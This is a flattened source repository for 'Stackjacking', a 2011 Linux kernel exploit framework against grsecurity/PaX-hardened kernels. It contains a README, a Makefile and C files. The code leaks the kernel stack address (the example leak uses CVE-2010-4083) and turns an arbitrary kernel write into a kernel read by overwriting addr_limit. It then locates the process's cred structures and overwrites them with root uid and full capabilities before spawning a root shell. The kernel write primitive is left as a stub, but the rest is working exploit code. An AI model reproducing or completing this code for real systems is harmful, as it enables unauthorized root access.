├── Makefile ├── README ├── examples └── ipc.c ├── kstack.c ├── kstack.h ├── leak.c ├── stackjack.c └── util.c /Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: stackjack 3 | 4 | stackjack: stackjack.o util.o kstack.o leak.o 5 | gcc stackjack.o util.o kstack.o leak.o -o stackjack 6 | 7 | stackjack.o: stackjack.c 8 | gcc -c stackjack.c 9 | 10 | util.o: util.c 11 | gcc -c util.c 12 | 13 | leak.o: leak.c 14 | gcc -c leak.c 15 | 16 | kstack.o: kstack.c kstack.h 17 | gcc -c kstack.c 18 | 19 | clean: 20 | rm -rf *.o stackjack 21 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | /**************************************************************************** 2 | * Stackjacking: 3 | * A grsecurity/PaX exploit framework 4 | * 5 | * As demonstrated at Hackito Ergo Sum and Immunity INFILTRATE, April 2011 6 | * 7 | * Dan Rosenberg (dan.j.rosenberg@gmail.com) 8 | * Jon Oberheide (jon@oberheide.org) 9 | ***************************************************************************/ 10 | 11 | Congratulations on reading the README. Your prize is actually understanding 12 | what this code is, and what it isn't. 13 | 14 | There are no 0-days to be found here. What's included is a framework that we 15 | used to exploit a grsecurity-hardened Linux kernel given the existence of an 16 | arbitrary kernel write and the leakage of uninitialized structure members from 17 | a process' kernel stack. To be clear, this attack vector is completely 18 | unnecessary when exploiting a vanilla Linux kernel, since an arbitrary write is 19 | more than sufficient to get root, given the vast amount of useful targeting 20 | information Linux gives out via /proc, etc. Likewise, the information leakage 21 | performed by libkstack is also unnecessary on vanilla, since there are much 22 | easier ways of getting this information. However, due to GRKERNSEC_HIDESYM, 23 | which aims to make the kernel a black box for attackers by removing all known 24 | sources of information leakage, and PAX_KERNEXEC, which makes global data 25 | structures with known locations (such as the IDT) read-only, some hoops need to 26 | be jumped through in order to actually find a good target for a kernel write 27 | vulnerability. 28 | 29 | The specific attack vectors that we used during the presentation have since 30 | been mitigated by moving the thread_info struct off the kernel stack and by 31 | implementing kernel stack entry point randomization for 64-bit platforms. This 32 | code is being released because people asked for it and because pieces of it, 33 | especially libkstack, may be useful for future exploits. 34 | 35 | If you'd like to use this, you'll need to plug in an arbitrary kernel write 36 | into the kernel_write() function in util.c, and a kernel stack leak into 37 | leak_bytes() in leak.c. A sample suitable leak can be found in the examples/ 38 | directory. To build the exploit, just run "make". 39 | 40 | For details on the techniques used and the implementation, see the comments in 41 | the source code. 42 | 43 | TODO: 44 | -Detection of 4K vs. 8K kernel stacks (mostly done) 45 | -Support for partial (smaller than word) leaks (done, omitted for ease of use) 46 | -------------------------------------------------------------------------------- /examples/ipc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "kstack.h" 11 | 12 | int sem; 13 | 14 | int setup() 15 | { 16 | 17 | /* Create the semaphore we're going to use later */ 18 | sem = semget(IPC_PRIVATE, 1, IPC_CREAT | 0x1ff); 19 | return sem; 20 | 21 | } 22 | 23 | /* This leverages CVE-2010-4083, an uninitialized structure member leak 24 | * in IPC. As described, it returns a MAGIC terminated array of longs 25 | * containing the leaked bytes. */ 26 | unsigned long * leak_bytes() 27 | { 28 | 29 | union semun arg; 30 | int ret; 31 | struct semid_ds out; 32 | unsigned long * bytes; 33 | 34 | bytes = malloc(5 * sizeof(long)); 35 | 36 | memset(&out, 0, sizeof(out)); 37 | memset(&arg, 0, sizeof(arg)); 38 | 39 | arg.buf = &out; 40 | 41 | ret = syscall(117, SEMCTL, sem, 0, SEM_STAT, &arg); 42 | 43 | bytes[0] = (unsigned long)out.sem_base; 44 | bytes[1] = (unsigned long)out.sem_pending; 45 | bytes[2] = (unsigned long)out.sem_pending_last; 46 | bytes[3] = (unsigned long)out.undo; 47 | bytes[4] = MAGIC; 48 | 49 | return bytes; 50 | } 51 | -------------------------------------------------------------------------------- /kstack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "kstack.h" 7 | 8 | /* As funny as fork-bombing is, we should avoid 9 | * priming with certain syscalls */ 10 | int is_blacklisted(int sys) 11 | { 12 | 13 | switch(sys) { 14 | /* 64-bit syscalls */ 15 | #ifdef __x86_64__ 16 | case 12: /* brk */ 17 | case 13: /* rt_sigaction */ 18 | case 14: /* rt_sigprocmask */ 19 | case 15: /* rt_sigreturn */ 20 | case 22: /* pipe */ 21 | case 23: /* select */ 22 | case 32: /* dup */ 23 | case 33: /* dup2 */ 24 | case 34: /* pause */ 25 | case 35: /* nanosleep */ 26 | case 56: /* clone */ 27 | case 57: /* fork */ 28 | case 58: /* vfork */ 29 | case 60: /* exit */ 30 | case 61: /* wait4 */ 31 | 32 | /* 32-bit syscalls */ 33 | #else 34 | case 0: /* restart_syscall */ 35 | case 1: /* exit */ 36 | case 2: /* fork */ 37 | case 7: /* waitpid */ 38 | case 26: /* ptrace */ 39 | case 29: /* pause */ 40 | case 36: /* sync */ 41 | case 41: /* dup */ 42 | case 42: /* pipe */ 43 | case 45: /* brk */ 44 | case 63: /* dup2 */ 45 | case 67: /* sigaction */ 46 | case 69: /* ssetmask */ 47 | case 72: /* sigsuspend */ 48 | case 73: /* sigpending */ 49 | case 82: /* select */ 50 | #endif 51 | return 1; 52 | default: 53 | return 0; 54 | } 55 | } 56 | 57 | inline int test_possible_kstack(unsigned long test) 58 | { 59 | 60 | /* Check the range */ 61 | if(test < KSTACKBASE || test > KSTACKTOP) 62 | return 0; 63 | 64 | /* Check if it's at a reasonable depth */ 65 | if((test % 4096) < (4096 - DEPTH)) 66 | return 0; 67 | 68 | return 1; 69 | } 70 | 71 | /* Given an array of candidate stack addresses, 72 | * check to see if there's sufficient confidence 73 | * in our answer. 74 | * 75 | * Returns -1 on failure and the index into the 76 | * candidate array on success */ 77 | int check_agreement(unsigned long * can) 78 | { 79 | 80 | int i, j = 0, count = 0; 81 | unsigned long current; 82 | 83 | current = can[0]; 84 | 85 | while(1) { 86 | 87 | count = 0; 88 | /* Loop through all the candidates */ 89 | for(i = 0; i < NUM_TRIALS; i++) { 90 | 91 | /* Count the number matching the current one */ 92 | if(can[i] == current) 93 | count++; 94 | } 95 | 96 | /* If it's more than half the items, there 97 | * can't be a more common item */ 98 | if(count > NUM_TRIALS / 2) 99 | break; 100 | 101 | /* Otherwise, let's move forward and check the 102 | * next different element */ 103 | while(can[j] == current && j < NUM_TRIALS) 104 | j++; 105 | 106 | /* If we reach the end we haven't found a match */ 107 | if(j == NUM_TRIALS) 108 | return -1; 109 | 110 | current = can[j]; 111 | } 112 | 113 | if(count > THRESHOLD) 114 | return j; 115 | 116 | return -1; 117 | } 118 | 119 | /* Our main function */ 120 | unsigned long get_kstack() 121 | { 122 | 123 | int trysys, i, fd, seed, attempt = 0; 124 | unsigned long * can, * leaked, kstack; 125 | 126 | /* Let's do this the right way... */ 127 | fd = open("/dev/urandom", O_RDONLY); 128 | read(fd, &seed, sizeof(int)); 129 | close(fd); 130 | 131 | srand(seed); 132 | 133 | /* Keep an array of kstack pointer candidates */ 134 | can = malloc(NUM_TRIALS * sizeof(unsigned long)); 135 | 136 | while(1) { 137 | 138 | attempt = 0; 139 | 140 | while(attempt < NUM_TRIALS) { 141 | 142 | /* Get a random syscall */ 143 | trysys = rand() % 100; 144 | 145 | /* Skip the blacklisted ones */ 146 | if(is_blacklisted(trysys)) 147 | continue; 148 | 149 | /* Prime the kstack with a random syscall */ 150 | for(i = 0; i < 4; i++) 151 | syscall(trysys, 0, 0, 0, 0); 152 | 153 | /* leak_bytes returns a MAGIC-terminated array 154 | * of leaked words */ 155 | leaked = leak_bytes(); 156 | 157 | for(i = 0; leaked[i] != MAGIC; i++) { 158 | 159 | /* If our heuristics say this is probably a 160 | * kstack pointer, keep it as a candidate */ 161 | if(test_possible_kstack(leaked[i])) { 162 | /* Assume 8K stack */ 163 | can[attempt] = leaked[i] & ~0x1fff; 164 | attempt++; 165 | break; 166 | } 167 | } 168 | 169 | free(leaked); 170 | } 171 | 172 | /* check_agreement returns -1 if the most 173 | * common candidate occurs less than the 174 | * threshold, and the index into our array 175 | * containing a winner otherwise */ 176 | i = check_agreement(can); 177 | 178 | if(i >= 0) { 179 | kstack = can[i]; 180 | free(can); 181 | return kstack; 182 | } 183 | } 184 | } 185 | -------------------------------------------------------------------------------- /kstack.h: -------------------------------------------------------------------------------- 1 | unsigned long get_kstack(); 2 | unsigned long * leak_bytes(); 3 | 4 | struct candidate { 5 | int syscall; 6 | int index; 7 | unsigned long kstack; 8 | }; 9 | 10 | /* A reasonable estimate at the maximum depth from 11 | the top of the stack a leaked address would reside */ 12 | #define DEPTH 500 13 | 14 | /* Number of trials to check agreement */ 15 | #define NUM_TRIALS 10 16 | 17 | /* Threshold for agreement */ 18 | #define THRESHOLD 8 19 | 20 | #ifdef __x86_64__ 21 | #define KSTACKBASE 0xffff880000000000 22 | #define KSTACKTOP 0xffff8800c0000000 23 | #define MAGIC 0xdeadbeefdeadbeef 24 | #else 25 | #define KSTACKBASE 0xc0000000 26 | #define KSTACKTOP 0xff000000 27 | #define MAGIC 0xdeadbeef 28 | #endif 29 | -------------------------------------------------------------------------------- /leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "kstack.h" 5 | 6 | /* Include any setup code needed for the leak here. 7 | * 8 | * Returns 0 on success, -1 on failure. 9 | */ 10 | int setup() 11 | { 12 | 13 | return 0; 14 | 15 | } 16 | 17 | /* Leverage a leak of uninitialized structure members 18 | * off the kernel stack. Allocate an array of longs 19 | * and fill it with the leaked bytes, terminating with 20 | * the MAGIC value. 21 | * 22 | * Returns a pointer to the leak array. 23 | */ 24 | unsigned long * leak_bytes() 25 | { 26 | 27 | printf("[*] leak_bytes() function has not been filled in.\n"); 28 | exit(-1); 29 | 30 | } 31 | -------------------------------------------------------------------------------- /stackjack.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Stackjacking: 3 | * A grsecurity/PaX exploit framework 4 | * 5 | * As demonstrated at Hackito Ergo Sum and Immunity INFILTRATE, April 2011 6 | * 7 | * Dan Rosenberg (dan.j.rosenberg@gmail.com) 8 | * Jon Oberheide (jon@oberheide.org) 9 | * 10 | * This is a technique that relies on an arbitrary kernel write vulnerability 11 | * and the leakage of as little as three bytes of uninitialized kernel stack 12 | * data, typically via copying back of uninitialized structure members. 13 | * 14 | * We leverage libkstack, which allows us to use the leak to determine the 15 | * address of the current process' kernel stack. 16 | */ 17 | 18 | #define _GNU_SOURCE 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #include "kstack.h" 28 | 29 | #ifdef __x86_64__ 30 | #define USER_DS 0xffff80000000 31 | #define KPTR_MAX 0xffffff0000000000 32 | #else 33 | #define USER_DS 0xc0000000 34 | #define KPTR_MAX 0xff200000 35 | #endif 36 | 37 | #define KERNEL_DS ULONG_MAX 38 | 39 | /* Globals */ 40 | int fd[2]; /* file descriptors for kread */ 41 | unsigned long kstack; /* kernel stack address */ 42 | 43 | /* Dumb heuristic for if this is possibly a kernel pointer */ 44 | int is_kernel_pointer(unsigned long ptr) 45 | { 46 | 47 | if(ptr > USER_DS && ptr < KPTR_MAX && !(ptr % sizeof(long))) 48 | return 1; 49 | 50 | return 0; 51 | } 52 | 53 | /* This is the function that leverages our kernel write and the ability to 54 | * determine the base address of the current process' kernel stack to build a 55 | * kernel read primitive. It does this by taking advantage of the thread_info 56 | * struct's addr_limit variable. 57 | * 58 | * In the mainline kernel, if the addr_limit of a process were to be set to 59 | * contain KERNEL_DS, all access checks on kernel-to-user copy operations would 60 | * pass, and you could read kernel memory by simply calling write() with a 61 | * source address of where you want to read. However, because PAX_UDEREF 62 | * implements proper segmentation, we need to make sure the segment registers 63 | * (specifically the %gs register) contain the appropriate descriptor to allow 64 | * kernel-to-kernel copying. 65 | * 66 | * Fortunately, UDEREF reloads the %gs register based on the contents of 67 | * addr_limit whenever a thread wakes up from a context switch. If we could 68 | * cause a context switch to happen in any kernel function immediately before 69 | * user-supplied pointers are copied into kernel space in a retrievable 70 | * location, then we could build an arbitrary read. 71 | * 72 | * It turns out repeatedly calling write() does the trick. Eventually, write() 73 | * will be called and the process will be scheduled out before it copies data 74 | * in. When it resumes execution, its %gs register will contain __KERNEL_DS 75 | * and we can do kernel-to-kernel copying, allowing us to copy from a kernel 76 | * address into a pipe. 77 | * 78 | */ 79 | unsigned long kread(unsigned long addr, unsigned long size, void * dest) { 80 | 81 | unsigned long addr_limit = kstack + sizeof(void *)*2 + sizeof(int)*4; 82 | 83 | /* Use our kwrite to set addr_limit to KERNEL_DS */ 84 | kernel_write(addr_limit, KERNEL_DS); 85 | 86 | /* Loop until our write happens to be scheduled out 87 | * at the right moment, reloading our %gs register. 88 | * 89 | * Note that this should only loop once on x86-64, 90 | * since there's no segmentation. */ 91 | while (write(fd[1], (void *)addr, size) == -1); 92 | 93 | /* Restore USER_DS */ 94 | kernel_write(addr_limit, USER_DS); 95 | 96 | /* Get our data */ 97 | read(fd[0], dest, size); 98 | 99 | return size; 100 | 101 | } 102 | 103 | /* The function that actually gets us root. It leverages our arbitrary read 104 | * and write primitives to find the current process' credentials structure and 105 | * set its uid and capabilities fields. 106 | * 107 | * Assumes a kernel version >= 2.6.29, which introduced a separate cred structure. 108 | * If your kernel is older than this, modify appropriately. */ 109 | int getprivs() { 110 | 111 | unsigned long task, cred, cred_ptr, real_cred, real_cred_ptr, val; 112 | unsigned int i, found_cred = 0, uid = getuid(); 113 | unsigned long * task_struct; 114 | 115 | /* task_struct is always first pointer in thread_info */ 116 | kread(kstack, 4, &task); 117 | 118 | if (!is_kernel_pointer(task)) { 119 | printf("[*] task_struct pointer (%lx) has a NULL byte. ", task); 120 | printf("Try again.\n"); 121 | return -1; 122 | } 123 | 124 | printf("[*] task_struct found at %lx\n", task); 125 | 126 | task_struct = malloc(sizeof(long) * 0x200); 127 | 128 | printf("[*] Reading task_struct...\n"); 129 | 130 | kread(task + 0x80, sizeof(long) * 0x200, task_struct); 131 | 132 | /* Walk up task_struct to find the cred struct. 133 | * We can't walk backwards from the comm array, 134 | * because grsecurity moves the cred and real_cred 135 | * structs to weird places inside the task_struct 136 | */ 137 | printf("[*] Finding cred struct (grab a coffee)...\n"); 138 | cred_ptr = task + 0x80; 139 | 140 | for (i = 0; i < 0x200; i++) { 141 | 142 | /* Looking for cred */ 143 | if(!found_cred) { 144 | cred = task_struct[i]; 145 | 146 | if (is_kernel_pointer(cred)) { 147 | kread(cred + sizeof(int), 4, &val); 148 | if((int)val == (int)uid) { 149 | kread(cred + sizeof(int)*2, 4, &val); 150 | if((int)val == (int)uid) { 151 | found_cred = 1; 152 | real_cred_ptr = cred_ptr + 4; 153 | printf("[*] cred struct ptr at %lx\n", cred_ptr); 154 | printf("[*] cred struct at %lx\n", cred); 155 | printf("[*] Finding real_cred struct...\n"); 156 | continue; 157 | } 158 | } 159 | } 160 | cred_ptr += sizeof(long); 161 | } 162 | /* Looking for real_cred */ 163 | else { 164 | real_cred = task_struct[i]; 165 | 166 | if (is_kernel_pointer(real_cred)) { 167 | kread(real_cred + sizeof(int), 4, &val); 168 | if((int)val == (int)uid) { 169 | kread(real_cred + sizeof(int)*2, 4, &val); 170 | if((int)val == (int)uid) 171 | break; 172 | } 173 | } 174 | real_cred_ptr += sizeof(long); 175 | } 176 | } 177 | 178 | free(task_struct); 179 | 180 | printf("[*] real_cred struct ptr at %lx\n", real_cred_ptr); 181 | printf("[*] real_cred struct at %lx\n", real_cred); 182 | 183 | /* modify cred struct in-place */ 184 | /* Assumes no CONFIG_DEBUG_CREDENTIALS */ 185 | kernel_write(cred + 4, 0); /* uid */ 186 | kernel_write(cred + 8, 0); /* gid */ 187 | kernel_write(cred + 12, 0); /* suid */ 188 | kernel_write(cred + 16, 0); /* sgid */ 189 | kernel_write(cred + 20, 0); /* euid */ 190 | kernel_write(cred + 24, 0); /* egid */ 191 | kernel_write(cred + 28, 0); /* fsuid */ 192 | kernel_write(cred + 32, 0); /* fsgid */ 193 | kernel_write(cred + 36, 0); /* securebits */ 194 | kernel_write(cred + 40, UINT_MAX); /* cap_inheritable */ 195 | kernel_write(cred + 44, UINT_MAX); 196 | kernel_write(cred + 48, UINT_MAX); /* cap_permitted */ 197 | kernel_write(cred + 52, UINT_MAX); 198 | kernel_write(cred + 56, UINT_MAX); /* cap_effective */ 199 | kernel_write(cred + 60, UINT_MAX); 200 | 201 | kernel_write(real_cred + 4, 0); /* uid */ 202 | kernel_write(real_cred + 8, 0); /* gid */ 203 | kernel_write(real_cred + 12, 0); /* suid */ 204 | kernel_write(real_cred + 16, 0); /* sgid */ 205 | kernel_write(real_cred + 20, 0); /* euid */ 206 | kernel_write(real_cred + 24, 0); /* egid */ 207 | kernel_write(real_cred + 28, 0); /* fsuid */ 208 | kernel_write(real_cred + 32, 0); /* fsgid */ 209 | kernel_write(real_cred + 36, 0); /* securebits */ 210 | kernel_write(real_cred + 40, UINT_MAX); /* cap_inheritable */ 211 | kernel_write(real_cred + 44, UINT_MAX); 212 | kernel_write(real_cred + 48, UINT_MAX); /* cap_permitted */ 213 | kernel_write(real_cred + 52, UINT_MAX); 214 | kernel_write(real_cred + 56, UINT_MAX); /* cap_effective */ 215 | kernel_write(real_cred + 60, UINT_MAX); 216 | 217 | if(getuid()) { 218 | printf("[*] Exploit failed to get root.\n"); 219 | return -1; 220 | } 221 | 222 | printf("[*] Overwrote creds in place\n"); 223 | return 0; 224 | 225 | } 226 | 227 | int main(int argc, char * argv[]) 228 | { 229 | 230 | int ret; 231 | 232 | /* For our kread */ 233 | ret = pipe(fd); 234 | 235 | if(ret < 0) { 236 | printf("[*] Failed to open pipe.\n"); 237 | return -1; 238 | } 239 | 240 | /* Setup for our leak */ 241 | ret = setup(); 242 | 243 | if(ret < 0) { 244 | printf("[*] Setup for kstack leak failed.\n"); 245 | return -1; 246 | } 247 | 248 | /* Get our kernel stack base address using libkstack */ 249 | kstack = get_kstack(); 250 | printf("[*] Kernel stack found at: %lx\n", kstack); 251 | 252 | /* Increase niceness to improve likelihood of being 253 | * scheduled out during kernel read */ 254 | nice(20); 255 | 256 | /* Get root */ 257 | ret = getprivs(); 258 | 259 | if (!ret) { 260 | execl("/bin/sh", "/bin/sh", NULL); 261 | 262 | /* Shouldn't reach this... */ 263 | printf("[*] Failed to spawn shell\n"); 264 | } 265 | 266 | return 1; 267 | } 268 | -------------------------------------------------------------------------------- /util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | /* Plug in a kernel write exploit primitive here. */ 5 | int kernel_write(unsigned long target, unsigned long val) 6 | { 7 | 8 | printf("[*] kernel_write() function has not been filled in.\n"); 9 | exit(-1); 10 | 11 | } 12 | --------------------------------------------------------------------------------